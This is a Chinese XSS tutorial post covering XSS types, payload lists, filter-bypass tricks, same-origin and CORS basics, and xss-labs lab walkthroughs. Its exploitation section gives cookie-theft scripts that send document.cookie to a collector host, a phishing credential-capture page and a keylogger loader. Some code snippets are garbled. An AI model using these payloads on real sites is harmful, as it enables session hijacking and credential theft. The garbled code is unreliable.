[Web安全 网络安全]-XSS跨站脚本攻击

news/2024/11/11 6:40:16/

文章目录:

一:前言

1.定义

2.漏洞出现的原因

3.鉴别可能存在XSS漏洞的地方

4.攻击原理

5.危害

6.防御

7.环境

7.1 靶场 

7.2 自动扫描工具

7.3 手工测试工具

8.payload是什么

二:常用的标签语法

三:XSS的分类

反射型get

存储型post

DOM型

四:漏洞利用

1.盗取cookie

2.弹窗钓鱼

3.获取键盘记录

4.盲打

五:绕过* 

闭合input标签绕过

鼠标事件过滤

空格绕过

大小写绕过防护

双写绕过防护

标签绕过防护

引号过滤绕过

括号绕过

字符拼接绕过

编码绕过

HTTPOnly绕过

注释http://绕过

隐藏的传参闭合绕过

注入绕过

htmlspecialchars函数 

六:同源和跨域

1.同源

2.跨域

cors跨域

jsonp跨域

七:XSS-labs靶场练习

Less1:url传参

Less2:闭合input标签

Less3:onclick onfocus onblur事件绕过

Less4:onclick onfocus onblur事件绕过闭合

Less5:a href 标签闭合绕过

Less6:大小写绕过

Less7:双写绕过

Less8:unicode属性值编码绕过

Less9:注释http://绕过

Less10:隐藏的传参闭合绕过

Less11:Referer注入

Less12:User Agent注入

Less13:cookie注入

Less14:题有问题

Less15:ng-include文件包涵

Less16:url编码-标签绕过 换行符替换空格绕过

Less17_18:embed标签-鼠标事件闭合绕过

Less19_20:过时


一:前言

1.定义

XSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSXSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript)
当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)

2.漏洞出现的原因

程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害

3.鉴别可能存在XSS漏洞的地方

鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互

4.攻击原理

第一步:攻击者发现正常网站的xss漏洞,注入一段js代码比如location.href="钓鱼网站"第二步:用户通过客户端-浏览器访问这个网站的页面第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站用户输入账号密码发给了钓鱼网站第五步:钓鱼网站将数据保存起来盗取信息

5.危害

1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器)3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包)5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)6.有局限性的键盘记录7.挂马:挂马是指‌黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等获得网站管理员账号,然后登录网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个‌webshell

6.防御

黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等白名单:只允许特定类型或符号编码及转义输出在标签或属性中进行HTML编码输出在script标签或事件中进行JavaScript编码输出在url中进行url编码。cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 )不使用有缺陷的第三方库

7.环境

7.1 靶场 

pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识

XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台

XSS Game:XSS靶场练习

蓝莲花:XSS靶场练习

xss平台:在线平台

7.2 自动扫描工具

APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具

7.3 手工测试工具

Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂

8.payload是什么

Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包 

<script>alert('Zer0Lulz")</script><SCRiPt>AIErT('XSS)</ScRiPt>"><script>alert('XSS')</script>"><SCRiPt>AIErT(XSS')</SCRiPt>=><><script>alert('XSS")</script>=><><ScRiPt>AlErT(XSS’)</ScRiPt>="><script>alert('Xss’)</script>="><ScRiPt>AIErT(XSS")</ScRiPt>='><script>alert('XSS')</script>='><ScRiPt>AIErT(XSS"</ScRiPt>"><<script>alert('XSS’)</script>"><<ScRiPt>AIErT(XSS"</ScRiPt>='><<script>alert(XSS')</script>='><<ScRiPt>AIErT('XSS")</ScRiPt><script>alert(String.fromCharCode(88, 83, 83)</script><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>><script>alert(String.fromCharcode(88,83,83)</script>><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>=><><script>alert(String.fromCharCode(88, 83, 83)</script>=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>="><script>alert(String.fromCharCode(88, 83, 83)</script>="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>='><script>alert(String.fromCharCode(88,83,83)</script>='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
'><img src="#" onmouseover="alter('xss')">

二:常用的标签语法

<script>

<script>alert("xss");</script>

<img>

<img src=1 οnerrοr=alert("xss");>

onerror事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件

<a>'"><a herf='javascript:alter(123)'>百度</a>

<video>

<video><source οnerrοr="alert(1)">

<audio>

<audio src=x  οnerrοr=alert("xss");>

<input>

<input οnfοcus="alert('xss');">

<select>

<select οnfοcus=alert(1)></select>

<iframe>

<iframe οnlοad=alert("xss");></iframe>
<details>使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域
<details open οntοggle="alert('xss');">

<textarea>

<textarea οnfοcus=alert("xss"); autofocus>

三:XSS的分类

反射型get

与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等

(中低威漏洞)——>可用于钓鱼、引流、配合其他漏洞如CSRF等

'"><script>confirm(1)</script>    //'">完成闭合符号
xx'</a><script>confirm(1)</script><a>    //对话框确认取消
xx' onclick="alter(2)">

存储型post

交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面

(高威漏洞)——>攻击范围广,流量传播大,可配合其他漏洞

<?php $name=$_GET['name'];echo "welcome $name<br>";
?>

DOM型

不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞

DM操作:html标签元素节点操作、修改标签属性

DOM型:大部分属于反射型、少部分属于存储型

(中低威漏洞)——>配合长度大小不受限制

document.referer
window.name
location
innerhtml
document.write
非持久型XSS攻击

非持久型xss攻击是一次性的,仅对当次的页面访问产生影响

要求用户访问一个被攻击者篡改后的链接,用户访问该链接时

被植入的攻击脚本被用户游览器执行,从而达到攻击目的

持久型XSS攻击持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在
DOM型XSSDOM型XSS:可能是持久型、也可能是非持久型

四:漏洞利用

1.盗取cookie

GET型:加地址 

'"><script>document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;
</script>

POST型:伪造HTML页面,写好攻击代码逻辑

<head><script>//当浏览器加载完页面所有的内容后自动触发执行window.onload=function(){document .getElenentById("postsubnit").click();}</script>
</head><body>
<form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php"><input id="xssr in" type="text" name="message" value="<script>document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie;</script>"/><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

2.弹窗钓鱼

钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish<script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>

fish.php 

<?phperror reporting(0);// var dump($_SERVER);if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))(//发送认证框,并给出迷感性的infoheader('Content-type:text/html;charset=utf-8');header("wwW-Authenticate:Basic realm认证"");header('HTTP/1.0 401 Unauthorized');echo "Authorization Required.";exit;else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IPheader ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}");
?>

xfish.php

<?phperror reporting(0);include once"../inc/config.inc.php';include once../inc/mysql.inc.php';$link=connect();if(!empty($_GET['username'])&& !empty($_GET['password'])){susernane=$_gET[username'];spassword=$_GET['password"];Sreferer=r";sreferer.=$_SERVER['HTTP REFERER'];Stime=date('Y-m-d q:i:s');$query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime');$result=mysqli_query($link,squery);
?>

3.获取键盘记录

'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)

rkserver.php:取出数据

<?phpinclude once'../inc/config.inc.php';include once'../inc/mysql.inc.php';slink=connect();//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");$data =$_PosT['datax'];$query="insert keypress(data) values('$data')",$result=mysqli_query(slink,squery);
?>

4.盲打

定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的也就是通过前端插入攻击代码,在后台管理系统中生效简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示主要针对后台管理系统'"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>

五:绕过* 

‌alert(123)  alert("Hello, world!")函数:用于在‌浏览器中弹出一个带有指定消息的警告框

confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮

闭合input标签绕过

'"><script>alert('jaden');</script>

鼠标事件过滤

'"onfouces=alter("123")

鼠标事件函数:
    onclick:鼠标点击

    onblur:离开
    onfouces:聚焦
    ondblclick: 鼠标双击
    onmousedown: 鼠标按钮被按下
    onmouseup: 鼠标按钮被释放
    onmousemove: 鼠标被移动
    onmouseover: 鼠标移动到元素上
    onmouseout: 鼠标从元素上移开
    onmouseenter: 鼠标进入元素
    onmouseleave: 鼠标离开元素

空格绕过

当空格被过滤掉时,我们可以用 / 来代替空格:<img/src=x/onerror="alert('xss')">
换行符号替换空格:src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

大小写绕过防护

'"><scRIpt>confirm(1)</scRIpt>
<ImG sRc=x onerRor=alert("xss");>

双写绕过防护

'"><sc<script>ipt>confirm(1)</sc<script>ipt>
<imimgg srsrcc=x onerror=alert("xss");>

标签绕过防护

替换 

 换一个别的标签进行替换:script、a、img、video、audio...

 a href

'"><a herf='javascript:alter(123)'>百度</a>

引号过滤绕过

用反引号代替单双引号<img src=x onerror=alert(`xss`);>

括号绕过

当括号被过滤掉的时候我们可以使用throw来绕过<img src=x onerror="javascript:window.onerror=alert;throw 1">

如果window.onerror的修改被阻止了,那么这里的throw 1只会导致一个未捕获的异常

通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 

字符拼接绕过

利用eval:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top:<script>top["al"+"ert"](`xss`);</script>

编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具 、在线 Unicode 编码转换

url编码绕过

原始SQL注入尝试:1' OR '1'='1
绕过尝试(URL编码):1%27+OR+%271%27%3D%271

 ascii码绕过

如果攻击者发现系统对特定字符进行了过滤,他们可能会尝试使用这些字符的ASCII码值(通过脚本或工具)来生成绕过过滤的输入

十六进制hex绕过

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Hex编码):<script>alert(\x22XSS\x22)</script>

base64绕过

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Base64编码):<img src="x" onerror="eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='))">

js编码

原始XSS尝试:<script>alert("XSS")</script>
绕过尝试(Unicode编码):<script>alert(\u0058\u0053\u0053)</script>

unicode编码

原始URL:http://example.com/search?q=<script>alert("XSS")</script>
绕过尝试(Unicode编码):http://example.com/search?q=%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0022%u0058%u0053%u0053%u0022%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

HTTPOnly绕过

httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息

第七个参数设置为true 

setcookie('ant[uname]',$_POST['username'],time()+3600, NULL ,NULL ,NULL,TRUE);

注释http://绕过

javascript:alert('jaden')//http://www.baidu.com 

隐藏的传参闭合绕过

'" type='text' onclick='alert(123)'

注入绕过

Referer注入 、User Agent注入、Cookie注入

利用turp抓吧工具,把对应里面的值替换成    '" type='text' onclick='alert(123)'

htmlspecialchars函数 

htmlspecialchars(string,flags,character-set,double_encode)函数 把一些预定义的字符转换为html实体但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以ENT_COMPAT            默认的,仅编码双引号,也就是默认情况下不对单引号进行处理ENT_QUOTES            编码双引号和单引号ENT_NOQUOTES          不编码任何引号预定义字符预定义的字符是:这就是我们学到的html实体编码表&(和号)成为         &amp(双引号)成为        &quot(单引号)成为        &#039<(小于)成为         &lt>(大于)成为         &gt导致你提交的script标签再输出的时候变成了&1tscript&gt不同语言防犯XSS函数PHP    :htmlentities()、htmlspecialchars()Python : cgi.escape()ASP    :Server.HTMLEncode()ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting LibraryJava   :xssprotect(Open Source Library)Node.js: node-validator
php文件如下:把预定义的字符"<”(小于)和">"(大于)转换为 HTML 实体:<?php$str ="This is some <b>bold</b> text."echo htmlspecialchars($str);?>在html输出如下:<htm1><head></head><body>This is some <b>bold</b> text.</body></htm1>浏览器输出如下:This is some <b>bold</b> text.

六:同源和跨域

1.同源

定义:对于js代码来说,为了安全考虑,所有浏览器都约定了“同源策略”同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码非同源的网络请求script的src不受同源机制的影响Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响<script src="...">    //加载js执行<img src="...">       //图片<link href="...">     //css<iframe src="...">    //任意资源<a href="...">        // 超链接地址同源策略修改D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为*既允许所有人访问。一般公司的网站后台都不会设置*号的//设置允许被跨域访问header("Access-Control-Allow-0rigin:*");

2.跨域

什么是跨域http://     www.        jaden.cn     :80        /news/index.php协议        子域名       主域名        端口       资源地址当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域不同域示例:http://www.jaden.cn:80http://www.jaden.cn:81https://www.jaden.cn:80http://www.jadens.cn:80

cors跨域

//设置允许被跨域访问:设置响应头键值对header("Access-Control-Allow-0rigin:*");

jsonp跨域

定义:基于script标签的src属性,发送请求,携带一个回调函数参数            js服务器端调用这个函数携带回调函数参数来响应数据                     php响应回来之后,回调js中声明的这个函数                              js第一个网站PHP:调用发送传值jd_data('aa=1,bb=2');第一个网站JS:执行函数<script src="http//www.jd.com/test.php?callback=jd_data"></script>function jd_data(res){res这个参数就能拿到响应数据}

 jd.html :ajax-jq会发生报错

<htm1><head></head><body><button value='走你'><button></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.querySelector('button').onclick=fuction(){$.aiax({type:'get'.                            // get methodurl:"http://192 168.2 110/test.php'dataType:'jsonp'success':function(res){console.log(res);}})}</script>
</html>

 jd.html利用jsonp代码来实现

<htm1><head></head><body><button value='走你'><button><div id='jd'></div></body><script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script><script>document.queryselector('button').onclick= function(){var scdocument.createlement('script');sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn';document.body.append(sc);}function fn(data){console.log(data);var diva=document.getElementById('jd');diva.innerHTML=data;}</script>
</html>

test.php 

<?php$fn=$_GET['cb'];                            //fnecho $fn."('username=jd&password=666')";    //fn('username=jd&password=666')
?>

七:XSS-labs靶场练习

Less1:url传参

Load URL地址:192.168.2.106/xss-labs/level1.php?name=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?>确认输出192.168.2.106/xss-labs/level1.php?name=test192.168.2.106/xss-labs/level1.php?name=jaden192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script>192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>

Less2:闭合input标签

Load URL地址:192.168.2.106/xss-labs/level2.php?keyword=test查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value="'.$str.'">	<input type=submit name=submit value=搜索 /></form></center>";?>确认输出192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>

Less3:onclick onfocus onblur事件绕过

Load URL地址:192.168.2.106/xss-labs/level3.php?writing=wait查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>        //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号<input type=submit name=submit value="搜索"/></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)'        //点击192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)'        //聚焦192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)'         //离开//onblur='alter(123)'        onblur='javascript:alter(123)'192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'

Less4:onclick onfocus onblur事件绕过闭合

Load URL地址:192.168.2.106/xss-labs/level4.php?keyword=try查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)'        //点击192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)'        //聚焦192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)'         //离开192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'

Less5:a href 标签闭合绕过

Load URL地址:192.168.2.106/xss-labs/level5.php?keyword=find查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)'        //O后面加了横杠O_nclick192.168.2.106/xss-labs/level5.php?keyword=find'"<script>                     //'<scr_ipt>192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>

Less6:大小写绕过

Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出:不区分大小写192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a>    //href变成了hr_ef192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a>    //href大写

Less7:双写绕过

Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move查看源码<?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?>确认输出192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a>    ///双写

Less8:unicode属性值编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具 、在线 Unicode 编码转换

Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?>确认输出//href变成了hr_ef;javascript变成了javascr_ipt;123被编码了&quotjaden192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a>  192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden")192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden')    //进行在线编码绕过

Less9:注释http://绕过

Load URL地址:192.168.2.106/xss-labs/level9.php?keyword=not查看源码<?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?>确认输出192.168.2.106/xss-labs/level9.php?keyword=not jaden                    //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com    //链接不合法192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com     //链接合法192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com      //链接不合法javascript:alert('jaden')//http://www.baidu.com                        //变成javascr_ipt:alert('jaden')//http:////单独对javascript进行编码&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com   

Less10:隐藏的传参闭合绕过

Load URL地址:192.168.2.106/xss-labs/level10.php?keyword=well查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc    //闭合t_sort,发现没有链接192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)'//加type='text'让链接显示出来192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'

Less11:Referer注入

Load URL地址:192.168.2.106/xss-labs/level11.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd    //发现没有闭合掉,但是t_ref里面有值192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ref(referer)里面的值替换成    '" type='text' onclick='alert(123)'

Less12:User Agent注入

Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good查看源码<?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd    //发现没有闭合掉,但是t_ua里面有值192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成    '" type='text' onclick='alert(123)'

Less13:cookie注入

Load URL地址:192.168.2.106/xss-labs/level13.php?keyword=good查看源码<?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?>确认输出//发现t_sort有输出192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd    //发现没有闭合掉,但是t_cook里面有值192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd  type='text' onclick='alert(123)'//利用turp抓吧工具,把t_cook(cookie)里面的值替换成    '" type='text' onclick='alert(123)'

Less14:题有问题

这一关题有问题直接十五关 

Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good查看源码确认输出

Less15:ng-include文件包涵

AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面) 

Load URL地址:192.168.2.106/xss-labs/level15.php?src=jaden查看源码确认输出192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'

Less16:url编码-标签绕过 换行符替换空格绕过

